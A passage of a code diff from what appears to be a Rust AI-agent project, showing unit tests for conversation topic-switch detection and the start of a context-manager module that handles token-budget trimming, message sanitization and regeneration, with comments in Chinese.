||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_field_default_none_in_constructors() {
|
||||||
|
// TrackedMessage.topic 在 push/insert_at 构造时默认 None(push 会按 intent 推断覆盖,
|
||||||
|
// insert_at 始终 None——insert_at 不做主题推断,保守)。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.insert_at(0, ChatMessage::system("摘要"));
|
||||||
|
// insert_at 的 system 消息 topic=None(role 非 User)
|
||||||
|
assert_eq!(mgr.messages_mut()[0].topic, None);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ===== 苁刻测:主题切换检测对抗/边界/链式 =====
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_chained_three_switches_each_triggers() {
|
||||||
|
// 对抗(链式):A→B→C 三次连续主题切换,每次 push 不同 topic 都应置位 marker。
|
||||||
|
// 验证 last_user_topic 反向扫描取最近 user,链式切换逐次触发不漏。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
|
||||||
|
// 1. Code
|
||||||
|
mgr.push(ChatMessage::user("帮我重构这段代码")); // topic=code
|
||||||
|
assert!(mgr.take_topic_marker().is_none(), "首条不触发");
|
||||||
|
|
||||||
|
// 2. Code → Project(切换)
|
||||||
|
mgr.push(ChatMessage::user("创建项目并绑定目录")); // topic=project
|
||||||
|
let m1 = mgr.take_topic_marker().expect("code→project 应触发");
|
||||||
|
assert!(m1.contains("code") && m1.contains("project"), "marker1: {}", m1);
|
||||||
|
assert!(mgr.take_topic_marker().is_none(), "take 后清空");
|
||||||
|
|
||||||
|
// 3. Project → Task(切换)
|
||||||
|
mgr.push(ChatMessage::user("推进这个任务到下一状态")); // topic=task
|
||||||
|
let m2 = mgr.take_topic_marker().expect("project→task 应触发");
|
||||||
|
assert!(m2.contains("project") && m2.contains("task"), "marker2: {}", m2);
|
||||||
|
|
||||||
|
// 4. Task → Http(切换,证链式不因中间穿插断)
|
||||||
|
mgr.push(ChatMessage::user("调用接口请求这个 api")); // topic=http
|
||||||
|
let m3 = mgr.take_topic_marker().expect("task→http 应触发");
|
||||||
|
assert!(m3.contains("task") && m3.contains("http"), "marker3: {}", m3);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_low_confidence_chain_never_triggers() {
|
||||||
|
// 对抗(低置信链):连续 push 低置信(Unknown)消息 → topic 全 None → 永不置位
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("嗯嗯好的")); // Unknown/0.0 → None
|
||||||
|
assert!(mgr.take_topic_marker().is_none());
|
||||||
|
mgr.push(ChatMessage::user("啊这样啊")); // Unknown/0.0 → None
|
||||||
|
assert!(mgr.take_topic_marker().is_none(), "双 None 链不触发");
|
||||||
|
// 再接一条高置信,但前一条 None → 仍不触发(保守:任一 None 即不标)
|
||||||
|
mgr.push(ChatMessage::user("重构这段代码")); // Code/1.0
|
||||||
|
assert!(
|
||||||
|
mgr.take_topic_marker().is_none(),
|
||||||
|
"前一条 topic None,即使本条高置信也不触发(双高置信约束)"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_high_then_low_confidence_never_triggers() {
|
||||||
|
// 对抗(反向低置信链):高置信 → 低置信,后一条 None → 不触发
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("重构这段代码")); // Code/1.0
|
||||||
|
assert!(mgr.take_topic_marker().is_none());
|
||||||
|
mgr.push(ChatMessage::user("嗯嗯好的")); // Unknown/0.0 → None
|
||||||
|
assert!(
|
||||||
|
mgr.take_topic_marker().is_none(),
|
||||||
|
"后一条 topic None,即使前一条高置信也不触发"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_switch_back_to_same_after_different_not_triggered() {
|
||||||
|
// 边界:A→B→A:第二次 A 时,末两条 user 是 B(高)→ A(高),不同 → 应触发。
|
||||||
|
// 验证 last_user_topic 只看最近一条 user,不缓存历史(不会因"曾标过 code"漏判)
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("重构这段代码")); // code
|
||||||
|
mgr.push(ChatMessage::user("创建项目并绑定目录")); // project → 触发 code|project
|
||||||
|
let _ = mgr.take_topic_marker();
|
||||||
|
mgr.push(ChatMessage::user("再重构另一段代码")); // code(末两条:project→code 不同)
|
||||||
|
let m = mgr.take_topic_marker().expect("project→code 切回应触发");
|
||||||
|
assert!(m.contains("project") && m.contains("code"), "切回原 topic 也应触发: {}", m);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_field_survives_compress_old_messages() {
|
||||||
|
// 对抗(topic 跨 compress):compress_old_messages 只改 status,不动 topic 字段。
|
||||||
|
// 压缩后 compressed 消息的 topic 标签保留(向前兼容,DB/内存一致性)。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("重构这段代码")); // idx 0, topic=code
|
||||||
|
mgr.push(ChatMessage::user("读取这个文件")); // idx 1, topic=file
|
||||||
|
mgr.push(ChatMessage::assistant("ok")); // idx 2
|
||||||
|
|
||||||
|
// 压缩 [0,2):idx 0/1 标 compressed
|
||||||
|
let compressed = mgr.compress_old_messages(2);
|
||||||
|
assert_eq!(compressed.len(), 2);
|
||||||
|
// topic 字段保留(compress 不触碰)
|
||||||
|
assert_eq!(mgr.messages_mut()[0].topic.as_deref(), Some("code"), "compressed 消息 topic 应保留");
|
||||||
|
assert_eq!(mgr.messages_mut()[1].topic.as_deref(), Some("file"), "compressed 消息 topic 应保留");
|
||||||
|
// status 改为 compressed
|
||||||
|
assert_eq!(mgr.messages_mut()[0].message.status.as_ref(), Some(&MessageStatus::Compressed));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_system_message_in_send_view_under_adequate_budget() {
|
||||||
|
// 边界(marker 端到端):取 marker → 调用方 insert_at 顶 system 标记 →
|
||||||
|
// build_for_request 在充足预算下 system 正常进发送视图(不丢,不 panic)。
|
||||||
|
// 注:build_for_request 裁剪策略裁前部(保护最近 PROTECT_COUNT 条),顶置 system
|
||||||
|
// 在极小预算撑爆时会被裁——这是策略既定行为,非 bug。本测验证充足预算下 marker
|
||||||
|
// 流程端到端正常:marker 取出 + insert system + 发送视图含该 system。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("重构这段代码")); // code
|
||||||
|
mgr.push(ChatMessage::user("创建项目并绑定目录")); // project → marker
|
||||||
|
let marker = mgr.take_topic_marker().expect("应触发 marker");
|
||||||
|
assert!(marker.contains("code") && marker.contains("project"));
|
||||||
|
|
||||||
|
// 调用方据 marker insert system 标记(agentic loop 实际行为)
|
||||||
|
mgr.insert_at(0, ChatMessage::system("[主题切换标记]"));
|
||||||
|
let (msgs, trimmed) = mgr.build_for_request(0);
|
||||||
|
assert!(!trimmed, "充足预算不应裁剪");
|
||||||
|
assert!(
|
||||||
|
msgs.iter().any(|m| m.content.contains("[主题切换标记]")),
|
||||||
|
"marker system 应进发送视图: {:?}",
|
||||||
|
msgs.iter().map(|m| m.content.chars().take(15).collect::<String>()).collect::<Vec<_>>()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_not_triggered_by_assistant_or_tool_messages() {
|
||||||
|
// 边界:只有 user 消息参与主题推断;assistant/tool push 不触发 marker(topic=None)
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("重构这段代码")); // code
|
||||||
|
assert!(mgr.take_topic_marker().is_none());
|
||||||
|
// assistant 消息(含 error 关键词但不影响 topic 推断,因 role 非 User)
|
||||||
|
mgr.push(ChatMessage::assistant("编译 error 出现了"));
|
||||||
|
assert!(
|
||||||
|
mgr.take_topic_marker().is_none(),
|
||||||
|
"assistant 消息不参与主题推断,不触发 marker"
|
||||||
|
);
|
||||||
|
// 再 push user(同 code topic)→ 末两条 user 都是 code,不切换
|
||||||
|
mgr.push(ChatMessage::user("继续重构"));
|
||||||
|
assert!(mgr.take_topic_marker().is_none(), "同 topic user 间不切换(assistant 不算)");
|
||||||
|
// 此时末条 user 是 code,切到 project 应触发
|
||||||
|
mgr.push(ChatMessage::user("创建项目并绑定目录"));
|
||||||
|
assert!(mgr.take_topic_marker().is_some(), "code→project 切换应触发(assistant 不打断)");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_take_is_idempotent_and_clears() {
|
||||||
|
// 边界:take_topic_marker 一次性消费,take 两次第二次必 None(防重复 insert)
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("重构这段代码"));
|
||||||
|
mgr.push(ChatMessage::user("创建项目并绑定目录"));
|
||||||
|
let _ = mgr.take_topic_marker().expect("应有 marker");
|
||||||
|
// 第二次 take 必 None
|
||||||
|
assert!(mgr.take_topic_marker().is_none(), "marker 一次性消费, 二次 take 必空");
|
||||||
|
}
|
||||||
538
crates/df-ai/src/context/mod.rs
Normal file
538
crates/df-ai/src/context/mod.rs
Normal file
@@ -0,0 +1,538 @@
|
|||||||
|
//! 上下文管理器 — 管理对话上下文和 token 预算
|
||||||
|
//!
|
||||||
|
//! 职责:
|
||||||
|
//! - 维护消息历史及其 token 计数缓存
|
||||||
|
//! - 提供预算感知的消息裁剪(保护工具调用三元组)
|
||||||
|
//! - 为 run_agentic_loop 提供受控的消息视图
|
||||||
|
//!
|
||||||
|
//! 裁剪策略与模型选择是正交维度:本模块只管「窗口多大、怎么裁」,
|
||||||
|
//! 用哪个 model / 是否启用 reasoning 由调用方在 CompletionRequest 层决定。
|
||||||
|
//!
|
||||||
|
//! 纯函数 / 数据类型 / 常量(TokenEstimator / ContextConfig / MessageGroup /
|
||||||
|
//! TrackedMessage / EvictionUnit / classify_group / PROTECT_COUNT /
|
||||||
|
//! TOOL_MISSING_PREFIX)已抽至 [`crate::context_helpers`],本模块 `use` 复用,
|
||||||
|
//! 并 `pub use` 重导出以保持 `df_ai::context::*` 历史路径对外可见(零调用方变更)。
|
||||||
|
//!
|
||||||
|
//! # 子模块
|
||||||
|
//! - [`sanitize`]:畸形配对自愈(`sanitize_messages` / `drop_reverse_orphans` /
|
||||||
|
//! `assert_placeholder_pairing` / `ensure_sequence_legal`)及其单测。
|
||||||
|
//! 实现为模块级 `pub fn`,本模块通过 `ContextManager` 上的关联函数薄包装转发,
|
||||||
|
//! 保持 `ContextManager::sanitize_messages(...)` 调用路径不变(零调用方变更)。
|
||||||
|
|
||||||
|
mod sanitize;
|
||||||
|
|
||||||
|
use crate::context_helpers::{
|
||||||
|
classify_group, PLACEHOLDER_INTEGRITY_ENABLED, PROTECT_COUNT,
|
||||||
|
};
|
||||||
|
// 重导出:保持 `df_ai::context::TokenEstimator` / `df_ai::context::ContextConfig` 等
|
||||||
|
// 历史路径对外可见(agentic.rs / commands/ai/mod.rs 等调用方零变更)。
|
||||||
|
// `pub use` 同时把类型带入本模块命名空间,供 ContextManager 结构体字段与 impl 直接引用。
|
||||||
|
pub use crate::context_helpers::{
|
||||||
|
EvictionUnit, ContextConfig, MessageGroup, TokenEstimator, TrackedMessage,
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::provider::{ChatMessage, MessageRole, MessageStatus};
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// 上下文管理器
|
||||||
|
// ============================================================
|
||||||
|
|
||||||
|
/// 上下文管理器
|
||||||
|
///
|
||||||
|
/// 唯一的消息真相来源(替代原来的 `Vec<ChatMessage>`)。
|
||||||
|
/// 裁剪仅影响发送视图(`build_for_request`),不影响持久化(`all_messages_clone`)。
|
||||||
|
pub struct ContextManager {
|
||||||
|
messages: Vec<TrackedMessage>,
|
||||||
|
/// 当前历史总 token 数(不含 system prompt)
|
||||||
|
history_tokens: u32,
|
||||||
|
config: ContextConfig,
|
||||||
|
estimator: TokenEstimator,
|
||||||
|
/// 压缩重入标志(F-15 §4.3):true 表示一次 LLM 压缩正在进行中。
|
||||||
|
/// agentic loop 顶部检测,防同一轮内多次触发压缩互相覆盖。纯内存态,不落库。
|
||||||
|
is_compressing: bool,
|
||||||
|
/// [P2 改进5] 主题切换检测标记。push user 消息时若发现末两条 user 消息的 topic
|
||||||
|
/// 都非 None 且不同(双高置信),置位本字段,格式 "old|new"。agentic loop 顶部读并
|
||||||
|
/// 消费(insert 系统标记后清空)。纯内存态,不落库。保守:任一 topic 为 None 不置位(宁可漏报)。
|
||||||
|
pending_topic_marker: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ContextManager {
|
||||||
|
pub fn new(config: ContextConfig) -> Self {
|
||||||
|
Self {
|
||||||
|
messages: Vec::new(),
|
||||||
|
history_tokens: 0,
|
||||||
|
config,
|
||||||
|
estimator: TokenEstimator::default(),
|
||||||
|
is_compressing: false,
|
||||||
|
pending_topic_marker: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 追加消息(自动计算 token 并更新缓存)
|
||||||
|
///
|
||||||
|
/// 不在此处淘汰——push 可能发生在 agentic loop 中间(追加 tool_result),
|
||||||
|
/// 此时不应裁剪正在使用的活跃消息。裁剪在 `build_for_request` 时统一处理。
|
||||||
|
pub fn push(&mut self, message: ChatMessage) {
|
||||||
|
let tokens = self.estimator.estimate_message(&message);
|
||||||
|
let group = classify_group(&message);
|
||||||
|
// 仅 active 消息计入 token 预算(F-15 §3.3):truncated / archived_segment /
|
||||||
|
// compressed 不进 LLM 上下文,token 虚高会致 build_for_request 误判超预算
|
||||||
|
// 触发不必要裁剪。!active 消息仍 push 到 self.messages 全量保留(持久化不受影响),
|
||||||
|
// sanitize_messages step0(is_active 过滤)在发送视图统一剔除。
|
||||||
|
if message.is_active() {
|
||||||
|
self.history_tokens += tokens;
|
||||||
|
}
|
||||||
|
// [P2 改进5] 主题推断(仅 user 消息):IntentRecognizer 识别意图,置信 >= 0.7 且
|
||||||
|
// 非 Unknown 则把 Intent 标签存入 TrackedMessage.topic 供主题切换检测。
|
||||||
|
// 保守:低置信(None)不标,避免误报。topic 不参与裁剪/压缩(只供 marker 检测)。
|
||||||
|
let topic: Option<String> = if matches!(message.role, MessageRole::User) {
|
||||||
|
let (intent, conf) = crate::intent::IntentRecognizer::recognize(&message.content);
|
||||||
|
if conf >= 0.7 && !matches!(intent, crate::intent::Intent::Unknown) {
|
||||||
|
Some(intent.as_str().to_string())
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
// [P2 改进5] 主题切换检测:push 前(本消息即将成末条 user),若已存在一条更早 user
|
||||||
|
// 且本消息 topic 与之都非 None 且不同 → 置位 pending_topic_marker("old|new")。
|
||||||
|
// 双高置信(两条 topic 都非 None)才标,任一 None 不标(宁可漏报不误报)。
|
||||||
|
if matches!(message.role, MessageRole::User) {
|
||||||
|
if let Some(prev_topic) = self.last_user_topic() {
|
||||||
|
if let Some(this_topic) = &topic {
|
||||||
|
if prev_topic != *this_topic {
|
||||||
|
self.pending_topic_marker =
|
||||||
|
Some(format!("{}|{}", prev_topic, this_topic));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.messages.push(TrackedMessage {
|
||||||
|
message,
|
||||||
|
token_count: tokens,
|
||||||
|
group,
|
||||||
|
topic,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 清空所有消息
|
||||||
|
pub fn clear(&mut self) {
|
||||||
|
self.messages.clear();
|
||||||
|
self.history_tokens = 0;
|
||||||
|
self.is_compressing = false;
|
||||||
|
self.pending_topic_marker = None;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 消息数量
|
||||||
|
pub fn len(&self) -> usize {
|
||||||
|
self.messages.len()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_empty(&self) -> bool {
|
||||||
|
self.messages.is_empty()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 当前历史占用的 token 数(不含 system prompt)
|
||||||
|
pub fn history_tokens(&self) -> u32 {
|
||||||
|
self.history_tokens
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 预算上限
|
||||||
|
pub fn budget_limit(&self) -> u32 {
|
||||||
|
self.config.budget_limit()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 核心:构建请求消息(受控裁剪版本)──
|
||||||
|
|
||||||
|
/// 构建发送给 LLM 的消息列表
|
||||||
|
///
|
||||||
|
/// `sys_tokens` 为调用方已估算好的 system prompt token 数。
|
||||||
|
/// 超预算时自动裁剪旧消息(保护工具调用三元组 + 最近 PROTECT_COUNT 条)。
|
||||||
|
/// 返回 (消息列表, 是否发生了裁剪)。
|
||||||
|
pub fn build_for_request(&self, sys_tokens: u32) -> (Vec<ChatMessage>, bool) {
|
||||||
|
let budget = self.budget_limit();
|
||||||
|
let available = budget.saturating_sub(sys_tokens);
|
||||||
|
|
||||||
|
// system prompt 自身超预算:裁剪无法缓解(仍返回保护区兜底),warn 便于诊断
|
||||||
|
if sys_tokens > budget {
|
||||||
|
tracing::warn!(
|
||||||
|
"system prompt (~{} tokens) 超过上下文预算 ({}),裁剪无法缓解",
|
||||||
|
sys_tokens, budget
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 未超预算 → 直接返回全量(仍做畸形配对自愈,防历史中毒触发 provider 500 死循环)
|
||||||
|
if self.history_tokens <= available {
|
||||||
|
let sanitized = Self::sanitize_messages(self.all_messages_clone());
|
||||||
|
// 阶段2 出口断言:占位配对完整性,失败降级 TOOL_MISSING_PREFIX 自愈(防 400 orphan)
|
||||||
|
return (
|
||||||
|
Self::assert_placeholder_pairing(sanitized, PLACEHOLDER_INTEGRITY_ENABLED),
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 超预算 → 视图裁剪(不修改 self.messages,保证 all_messages_clone 仍返回全量)
|
||||||
|
let protect_start = self.messages.len().saturating_sub(PROTECT_COUNT);
|
||||||
|
let units = self.build_eviction_units(protect_start);
|
||||||
|
|
||||||
|
let mut removed: u64 = 0;
|
||||||
|
let mut trim_end = 0;
|
||||||
|
for unit in &units {
|
||||||
|
if self.history_tokens.saturating_sub(removed as u32) <= available {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
removed += unit.token_sum as u64;
|
||||||
|
trim_end = unit.end;
|
||||||
|
}
|
||||||
|
|
||||||
|
if trim_end == 0 {
|
||||||
|
tracing::warn!(
|
||||||
|
"history (~{} tokens) 超预算 ({}) 但无可淘汰单元(全在保护区 {} 条),发送兜底可能触发 provider 超限",
|
||||||
|
self.history_tokens, available, PROTECT_COUNT
|
||||||
|
);
|
||||||
|
// B-260626-01: 兜底全量也过 sanitize(对齐分支 1/3),防绕过序列修复直送 provider
|
||||||
|
// 触发"首条 assistant 非法"/orphan/连续 role。原裸返 all_messages_clone 不过滤
|
||||||
|
// truncated/中毒三元组/首条非法——是主 loop 唯一的 sanitize 漏洞(大体量 tool_result
|
||||||
|
// 致超预算且保护区满时命中)。异常会话(开头连续 assistant/tool 无 user)经
|
||||||
|
// ensure_sequence_legal 清空后,由协议层 ensure_leading_user 补 user 占位降级,不阻塞。
|
||||||
|
// view-only:不改 self.messages 持久化(与分支 1/3 一致)。
|
||||||
|
let sanitized = Self::sanitize_messages(self.all_messages_clone());
|
||||||
|
return (
|
||||||
|
Self::assert_placeholder_pairing(sanitized, PLACEHOLDER_INTEGRITY_ENABLED),
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
let msgs: Vec<ChatMessage> = self.messages[trim_end..]
|
||||||
|
.iter()
|
||||||
|
.map(|t| t.message.clone())
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
tracing::info!(
|
||||||
|
"context_trimmed: skip {} messages, ~{} tokens (view-only, full history retained)",
|
||||||
|
trim_end, removed
|
||||||
|
);
|
||||||
|
let sanitized = Self::sanitize_messages(msgs);
|
||||||
|
// 阶段2 出口断言:占位配对完整性,失败降级 TOOL_MISSING_PREFIX 自愈(防 400 orphan)
|
||||||
|
(
|
||||||
|
Self::assert_placeholder_pairing(sanitized, PLACEHOLDER_INTEGRITY_ENABLED),
|
||||||
|
true,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 畸形配对自愈(转发至 [`sanitize`] 子模块,保持 ContextManager::xxx 调用路径)──
|
||||||
|
|
||||||
|
/// 畸形配对自愈 — 转发到 [`sanitize::sanitize_messages`]。
|
||||||
|
///
|
||||||
|
/// 保留为 `ContextManager` 关联函数以兼容历史调用路径(`Self::sanitize_messages` /
|
||||||
|
/// `ContextManager::sanitize_messages`),实现见子模块文档。
|
||||||
|
pub fn sanitize_messages(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||||
|
sanitize::sanitize_messages(messages)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 发送视图出口断言 — 转发到 [`sanitize::assert_placeholder_pairing`]。
|
||||||
|
pub fn assert_placeholder_pairing(
|
||||||
|
messages: Vec<ChatMessage>,
|
||||||
|
enabled: bool,
|
||||||
|
) -> Vec<ChatMessage> {
|
||||||
|
sanitize::assert_placeholder_pairing(messages, enabled)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 全量克隆(持久化 save_conversation / build_for_request 未裁剪分支,不受裁剪影响)
|
||||||
|
pub fn all_messages_clone(&self) -> Vec<ChatMessage> {
|
||||||
|
self.messages.iter().map(|t| t.message.clone()).collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 Vec 恢复(兼容从 DB 加载)
|
||||||
|
pub fn restore_from_messages(&mut self, messages: Vec<ChatMessage>) {
|
||||||
|
self.clear();
|
||||||
|
for msg in messages {
|
||||||
|
self.push(msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 就地替换某条 tool_result 的内容(兼容审批 replace_tool_result)
|
||||||
|
/// 返回 true 如果找到并替换了
|
||||||
|
///
|
||||||
|
/// 反向遍历:tool_result 由 append 进入历史,被替换的通常是最近的审批占位,
|
||||||
|
/// 从尾部查找命中即停,避免对长历史做正向 O(n) 累积扫描。
|
||||||
|
pub fn replace_tool_result_content(&mut self, tool_call_id: &str, new_content: &str) -> bool {
|
||||||
|
let pos = self.messages.iter().rposition(|t| {
|
||||||
|
matches!(t.message.role, MessageRole::Tool)
|
||||||
|
&& t.message.tool_call_id.as_deref() == Some(tool_call_id)
|
||||||
|
});
|
||||||
|
|
||||||
|
let Some(i) = pos else { return false };
|
||||||
|
|
||||||
|
// 先更新 content,再重估 token 并校正总量
|
||||||
|
let old_tokens = self.messages[i].token_count;
|
||||||
|
self.messages[i].message.content = new_content.to_string();
|
||||||
|
let new_tokens = self.estimator.estimate_message(&self.messages[i].message);
|
||||||
|
self.messages[i].token_count = new_tokens;
|
||||||
|
self.history_tokens = self.history_tokens.saturating_sub(old_tokens).saturating_add(new_tokens);
|
||||||
|
true
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 弹出末尾连续的 assistant 消息(含其 tool_calls 三元组尾随 tool_result)
|
||||||
|
///
|
||||||
|
/// 用于「重新生成」(UX-02):删掉最后一条 AI 回复(可能跨多轮 tool_calls + tool_results
|
||||||
|
/// 紧随其后),保留触发它的 user 消息,以便重跑 agentic loop 再生成。
|
||||||
|
///
|
||||||
|
/// 语义:从末尾向前弹出,直到弹出至少一条 assistant 消息;若弹出 assistant 后紧邻的更早
|
||||||
|
/// 消息仍是 assistant/tool(同一轮多块),继续一并弹出,确保不留半截三元组污染下轮。
|
||||||
|
/// user 消息作为停止边界(不弹出 user),保证重生成时历史末尾是 user 消息。
|
||||||
|
pub fn pop_last_assistant_round(&mut self) -> bool {
|
||||||
|
if self.messages.is_empty() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
let mut popped_any = false;
|
||||||
|
// 从尾向前:先弹掉末尾非 user 的消息(assistant / tool),直到遇到 user 或空
|
||||||
|
while let Some(last) = self.messages.last() {
|
||||||
|
if matches!(last.message.role, MessageRole::User) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let removed = self.messages.pop().expect("just checked non-empty");
|
||||||
|
self.history_tokens = self.history_tokens.saturating_sub(removed.token_count);
|
||||||
|
if matches!(removed.message.role, MessageRole::Assistant) {
|
||||||
|
popped_any = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
popped_any
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 编辑某条 user 消息后,将其后所有消息标记为 truncated(UX-09 编辑重生成)。
|
||||||
|
///
|
||||||
|
/// 软删语义:保留在内存真相源 + DB(可追溯),但 sanitize_messages 过滤后不进 LLM 上下文,
|
||||||
|
/// 前端按 is_active 过滤从视图移除。返回被标 truncated 的条数(0 表示该 user 消息已是末尾,无后续)。
|
||||||
|
///
|
||||||
|
/// `target_content` 为该 user 消息的预期内容(用于反向唯一定位:末条 user 消息可能内容相同,
|
||||||
|
/// 故从尾部向前找第一条 role=User 且 content 匹配且仍 active 的消息)。
|
||||||
|
/// 找不到返回 Err(()),调用方据此报错。
|
||||||
|
pub fn truncate_after_user_message(&mut self, target_content: &str) -> Result<usize, ()> {
|
||||||
|
// 反向找末条 active user 消息且 content 匹配
|
||||||
|
let pos = self.messages.iter().rposition(|t| {
|
||||||
|
matches!(t.message.role, MessageRole::User)
|
||||||
|
&& t.message.content == target_content
|
||||||
|
&& t.message.is_active()
|
||||||
|
});
|
||||||
|
let Some(i) = pos else { return Err(()) };
|
||||||
|
// i 之后的全部标 truncated(已 truncated 的跳过,只统计本次新标的)
|
||||||
|
let mut count = 0usize;
|
||||||
|
for t in self.messages[i + 1..].iter_mut() {
|
||||||
|
if t.message.is_active() {
|
||||||
|
t.message.status = Some(MessageStatus::Truncated);
|
||||||
|
count += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(count)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 替换末条 active user 消息的 content(UX-09 编辑重生成)。
|
||||||
|
///
|
||||||
|
/// 编辑语义:只能编辑最后一条 user 消息(中间编辑语义复杂,拒绝)。返回 Err(()) 表示无 active user 消息。
|
||||||
|
/// 成功后调用方应紧接着 truncate_after_user_message(new_content) 软删其后续消息。
|
||||||
|
pub fn replace_last_active_user_content(&mut self, new_content: &str) -> Result<(), ()> {
|
||||||
|
let pos = self.messages.iter().rposition(|t| {
|
||||||
|
matches!(t.message.role, MessageRole::User) && t.message.is_active()
|
||||||
|
});
|
||||||
|
let Some(i) = pos else { return Err(()) };
|
||||||
|
let old_tokens = self.messages[i].token_count;
|
||||||
|
self.messages[i].message.content = new_content.to_string();
|
||||||
|
let new_tokens = self.estimator.estimate_message(&self.messages[i].message);
|
||||||
|
self.messages[i].token_count = new_tokens;
|
||||||
|
self.history_tokens = self.history_tokens.saturating_sub(old_tokens).saturating_add(new_tokens);
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 只读迭代(兼容 ensure_conversation_title 的 .iter().filter() 等)
|
||||||
|
pub fn iter(&self) -> impl Iterator<Item = &ChatMessage> {
|
||||||
|
self.messages.iter().map(|t| &t.message)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// F-260619-04 P1 消息级溯源:取末条指定 role 消息的 id(ULID)。
|
||||||
|
///
|
||||||
|
/// 从尾部反向扫描(末条消息命中即停,避免全量 O(n) 正扫累积),返回最近一条
|
||||||
|
/// `role` 匹配且 `id` 非空消息的 id。无匹配或老消息无 id → None(向前兼容:
|
||||||
|
/// 老反序列化消息 id=None,溯源写入降级为 None,展示侧兼容 `conv:` 旧格式)。
|
||||||
|
///
|
||||||
|
/// 用途:
|
||||||
|
/// - `MessageRole::Assistant`:audit/知识提炼写入时取当前 assistant 消息 id
|
||||||
|
/// (LLM 返回带 tool_calls 的 assistant 已 push,process_tool_calls 入口取)
|
||||||
|
/// - `MessageRole::User`:知识注入 referenced 事件溯源取触发检索的 user 消息 id
|
||||||
|
fn last_message_id_by_role(&self, role: MessageRole) -> Option<String> {
|
||||||
|
self.messages
|
||||||
|
.iter()
|
||||||
|
.rev()
|
||||||
|
.find(|t| {
|
||||||
|
std::mem::discriminant(&t.message.role) == std::mem::discriminant(&role)
|
||||||
|
})
|
||||||
|
.and_then(|t| t.message.id.clone())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 末条 assistant 消息的 id(消息级溯源用)。
|
||||||
|
pub fn last_assistant_message_id(&self) -> Option<String> {
|
||||||
|
self.last_message_id_by_role(MessageRole::Assistant)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 末条 user 消息的 id(消息级溯源用)。
|
||||||
|
pub fn last_user_message_id(&self) -> Option<String> {
|
||||||
|
self.last_message_id_by_role(MessageRole::User)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── [P2 改进5] 主题切换检测(保守,双高置信才标) ──
|
||||||
|
|
||||||
|
/// 取末条 user 消息的 topic 标签(供 push 时主题切换检测)。
|
||||||
|
///
|
||||||
|
/// 从尾部反向扫描 user 消息,取最近一条 role=User 的 TrackedMessage.topic。
|
||||||
|
/// 老消息(未接改进5 推断)topic=None → 返 None(向前兼容)。无 user 消息 → None。
|
||||||
|
fn last_user_topic(&self) -> Option<String> {
|
||||||
|
self.messages
|
||||||
|
.iter()
|
||||||
|
.rev()
|
||||||
|
.find(|t| matches!(t.message.role, MessageRole::User))
|
||||||
|
